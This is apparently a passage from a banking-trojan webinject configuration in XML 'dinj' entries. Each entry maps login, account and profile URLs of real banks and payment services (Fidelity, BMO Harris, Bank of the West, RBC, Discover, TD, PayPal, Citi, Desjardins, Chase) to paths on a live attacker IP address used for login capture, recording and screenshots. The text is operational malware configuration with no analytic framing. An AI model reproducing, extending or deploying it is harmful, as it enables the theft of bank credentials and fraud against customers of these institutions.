<hl>http://66.85.27.155:443/account/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://scs.fidelity.com/accounts/services/content/norelationship.shtml*</lm>
<hl>http://66.85.27.155:443/account/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://advisor.fidelity.com/app/account/list*</lm>
<hl>http://66.85.27.155:443/account/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://oltx.fidelity.com/ftgw/fbc/oftop/portfolio*</lm>
<hl>http://66.85.27.155:443/account/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://workplaceservices200.fidelity.com/mybenefits/navstation/navigation</lm>
<hl>http://66.85.27.155:443/account/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://oltx.fidelity.com/ftgw/fbc/ofpositions/snippet/portfolioPositions</lm>
<hl>http://66.85.27.155:443/info/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountmaint.fidelity.com/ftgw/Profile/action/profile?hint=coainq</lm>
<hl>http://66.85.27.155:443/info/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://oltx.fidelity.com/ftgw/fbc/oftop2/cashmgmtAllAcct?ACCOUNT=&CREDIT_CARD=</lm>
<hl>http://66.85.27.155:443/info/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountsetup.fidelity.com/ftgw/bene/maint/summary</lm>
<hl>http://66.85.27.155:443/info/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://fps.fidelity.com/ftgw/Fps/Fidelity/RSAAnalyzeChallengeRetail/Maintain/Init</lm>
<hl>http://66.85.27.155:443/info/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://oltx.fidelity.com/ftgw/fbc/oftop2/cashmgmtAllAcct?CREDIT_CARD=</lm>
<hl>http://66.85.27.155:443/info/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/114</lm>
<hl>http://66.85.27.155:443/rcrd/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/114*</lm>
<hl>http://66.85.27.155:443/getq/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/114</lm>
<hl>http://66.85.27.155:443/snapshoot/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.harrisbank.com/HOB/retail/logon</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bmoharris.com/us/personal-finance/banking/online-banking*</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bmoharris.com/main/personal</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.harrisbank.com/HOB/retail/logon/mfa/challenge*</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.harrisbank.com/HOB/retail/individualLogon*</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bmoharris.com/main/small-business</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bmoharris.com/main/small-business-banking</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.harrisbank.com/HOB/retail/logon/logon</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://tqavgn-bmoharris.dev.bmo.com/main/personal</lm>
<hl>http://66.85.27.155:443/login/114</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/113</lm>
<hl>http://66.85.27.155:443/rcrd/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/113*</lm>
<hl>http://66.85.27.155:443/getq/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/113</lm>
<hl>http://66.85.27.155:443/snapshoot/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofthewest.com/[?]*</lm>
<hl>http://66.85.27.155:443/login/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofthewest.com/</lm>
<hl>http://66.85.27.155:443/login/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofthewest.com/small-business.html</lm>
<hl>http://66.85.27.155:443/login/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.bankofthewest.com/BOW/MFA/Challenge.aspx</lm>
<hl>http://66.85.27.155:443/login/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.bankofthewest.com/BOW/Login.aspx</lm>
<hl>https:
//66.85.27.155:443/login/113</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/265</lm>
<hl>http://66.85.27.155:443/rcrd/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/265*</lm>
<hl>http://66.85.27.155:443/getq/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/265</lm>
<hl>http://66.85.27.155:443/snapshoot/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.royalbank.com/cgi-bin/rbaccess/rbunxcgi*</lm>
<hl>http://66.85.27.155:443/login/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.royalbank.com/cgi-bin/rbaccess/rbcgi3m01</lm>
<hl>http://66.85.27.155:443/login/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.royalbank.com/cgi-bin/rbaccess/rbcgi3m01[?]*</lm>
<hl>http://66.85.27.155:443/account/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.royalbank.com/wps/myportal/OLB1*</lm>
<hl>http://66.85.27.155:443/account/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.royalbank.com/wps/myportal/OLB/!ut/p/a?/*</lm>
<hl>http://66.85.27.155:443/info/265</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/29</lm>
<hl>http://66.85.27.155:443/rcrd/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/029*</lm>
<hl>http://66.85.27.155:443/getq/029</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/29</lm>
<hl>http://66.85.27.155:443/snapshoot/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discover.com/</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discover.com/[?]*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discovercard.com/cardmembersvcs/loginlogout/app/signin*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discoverbank.com/bankac/loginreg/login*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discover.com/online-banking/</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discover.com/online-banking/[?]*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discoverbank.com/bankac/loginreg/submitlogin</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discovercard.com/cardmembersvcs/loginlogout/app/ac_main*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discovercard.com/cardmembersvcs/loginlogout/app/ac_main*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://portal.discover.com/customersvcs/universalLogin/ac_main*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discovercard.com/invalid_login/BigBrowser/DiscoverCardAccountCenterLogin_DiscoverCard_msg.htm</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://portal.discover.com/customersvcs/universalLogin/signin*</lm>
<hl>http://66.85.27.155:443/login/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discovercard.com/cardmembersvcs/achome/homepage*</lm>
<hl>http://66.85.27.155:443/account/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://card.discover.com/cardmembersvcs/achome/homepage*</lm>
<hl>http://66.85.27.155:443/account/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.discovercard.com/cardmembersvcs/personalprofile/pp/MyProfilePage*</lm>
<hl>http://66.85.27.155:443/info/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://card.discover.com/cardmembersvcs/epay/app/paymentHistory*</lm>
<hl>http://66.85.27.155:443/info/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://card.discover.com/cardmembersvcs/epay/app/directPay*</lm>
<hl>http://66.85.27.155:443/info/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://card.discover.com/cardmembersvcs/personalprofile/pp/MyProfilePage*</lm>
<hl>http://66.85.27.155:443/info/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://card.discover.com/cardmembersvcs/statements/app/activity#/recent*</lm>
<hl>http://66.85.27.155:443/info/29</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/266</lm>
<hl>http://66.85.27.155:443/rcrd/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/266*</lm>
<hl>http://66.85.27.155:443/getq/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/266</lm>
<hl>http://66.85.27.155:443/snapshoot/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/idp/login.htm*</lm>
<hl>http://66.85.27.155:443/login/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/idp/authenticate.htm?execution=*</lm>
<hl>http://66.85.27.155:443/login/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/ezw/servlet/ca.tdbank.banking.servlet.FinancialSummaryServlet?*</lm>
<hl>http://66.85.27.155:443/account/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/ezw/servlet/ca.tdbank.banking.servlet.BillPaymentEnquiryDetailsServlet*</lm>
<hl>http://66.85.27.155:443/info/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/ezw/servlet/com.td.ds.emailpayments.servlet.ViewPendingEmailPaymentsServlet*</lm>
<hl>http://66.85.27.155:443/info/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/ezw/servlet/A2AViewCompletedTransfersServlet*</lm>
<hl>http://66.85.27.155:443/info/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/ezw/servlet/com.td.ds.emailpayments.servlet.ViewCompletedEmailPaymentsServlet*</lm>
<hl>http://66.85.27.155:443/info/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/ezw/servlet/ca.tdbank.banking.servlet.AccountDetailsServlet*</lm>
<hl>http://66.85.27.155:443/info/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://easyweb.td.com/waw/idp/gadget/evergreen/resetChallenge.htm?execution=e?s1*</lm>
<hl>http://66.85.27.155:443/info/266</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/7</lm>
<hl>http://66.85.27.155:443/rcrd/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/007*</lm>
<hl>http://66.85.27.155:443/getq/007</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/7</lm>
<hl>http://66.85.27.155:443/snapshoot/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/auth/validatecaptcha</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*account-refund*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*login-processing*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*run-check-cookie*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*login-submit*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*login-run*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*express-checkout*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?token*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</d
inj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*flow*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/login*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/signin*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/??/webapps/mpp/merchant</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webapps/mpp/merchant</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/??/webapps/mpp/home*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webapps/mpp/home*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/??/home</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*cgi-bin/webscr?cmd=*contact-general*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/home</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/??/signin</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webscr?cmd=*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webapps/helios*</lm>
<hl>http://66.85.27.155:443/login/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webapps/business/moneyBasic</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webapps/business/</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/businessexp/money*</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/myaccount/home</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/myaccount/[?]*</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/myaccount/</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/businessexp/summary*</lm>
<hl>http://66.85.27.155:443/account/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/myaccount/settings</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/webapps/customerprofile/summary.view</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/myaccount/activity</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/cgi-bin/webscr?cmd=_profile-address</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/businessprofile/settings/email</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/businessexp/transactions*</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/businessprofile/settings/phone</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/checkoutnow/2*</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/xpt/Checkout/ec/Login*</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.paypal.com/*/cgi-bin/merchantpaymentweb*</lm>
<hl>http://66.85.27.155:443/info/7</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/3</lm>
<hl>http://66.85.27.155:443/rcrd/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/003*</lm>
<hl>http://66.85.27.155:443/getq/003</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/3</lm>
<hl>http://66.85.27.155:443/snapshoot/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.accountonline.com/buscards/USBAO/login/showLogin.action*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.citi.com/credit-cards/citi.action*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountonline.citi.com/cards/svc/LoginGet.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountonline.citi.com/cards/svc/OutsideTimeOutNext.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/DisplayUsernameSignon.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/CBOLSessionRecovery.do</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JPS/portal/LocaleSwitch.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/uname/HomePageCinless.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.accountonline.citi.com/cards/svc/LoginIntNext.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.citi.com/credit-cards/creditcards/CitiHome.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JPS/portal/Index.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/uname/Next.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/LocaleUsernameSignon.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/login.do?*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/login.do</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.accountonline.com/webdepot/pl/PLNP_HOMEDEPOT/REQUEST_SIGNON?*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.accountonline.com/cards/svc/LoginGet.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/VIPLocaleUsernameSignon.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountonline.citi.com/cards/svc/LoginIntNext.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JRS/signon/CheckTandC.do?CUSTOM_SYNC_TOKEN=*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/US/JSO/signoff/PostSignOffOverlay.do*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/US/JRS/signon/CheckTandC.do?C
USTOM_SYNC_TOKEN=*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.accountonline.com/webdepot/pl/PLNP_HOMEDEPOT/REQUEST_INVDET_SIGNON*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountonline.citi.com/cards/svc/OutsideTimeOutNext.do?SYNC_TOKEN=*</lm>
<hl>http://66.85.27.155:443/login/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/NCCS/pft/flow.action*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JSO/signon/uname/HomePageCinless.do*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/CBOL/ain/caraccdet/flow.action*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/CBOL/ain/cardasboa/flow.action*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/CBOL/ain/dashboard/flow.action*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/JPS/portal/Home.do*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.accountonline.com/buscards/*/accountsummary/flow.action*</lm>
<hl>http://66.85.27.155:443/account/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accountonline.citi.com/cards/svc/PersonalProfileNext.do[?]*</lm>
<hl>http://66.85.27.155:443/info/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/REST/CBOL/pnt/schpayhis/PastPaymentResource/getPastPaymentList.jws?JFP_TOKEN=*</lm>
<hl>http://66.85.27.155:443/info/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.citi.com/??/REST/CBOL/pnt/schpayhis/ScheduledPaymentResource/getScheduledPaymentList.jws?JFP_TOKEN=*</lm>
<hl>http://66.85.27.155:443/info/3</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/279</lm>
<hl>http://66.85.27.155:443/rcrd/279</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/279*</lm>
<hl>http://66.85.27.155:443/getq/279</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/279</lm>
<hl>http://66.85.27.155:443/snapshoot/279</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accweb.mouv.desjardins.com/identifiantunique/identification*</lm>
<hl>http://66.85.27.155:443/login/279</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accweb.mouv.desjardins.com/identifiantunique/authentificatio*</lm>
<hl>http://66.85.27.155:443/login/279</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://accesd.affaires.mouv.desjardins.com/sommaire-affaires/sommaire/detention*</lm>
<hl>http://66.85.27.155:443/account/279</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/1</lm>
<hl>http://66.85.27.155:443/rcrd/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/001*</lm>
<hl>http://66.85.27.155:443/getq/001</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/1</lm>
<hl>http://66.85.27.155:443/snapshoot/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/mortgage*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/online-banking*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/mobile-banking*</lm>
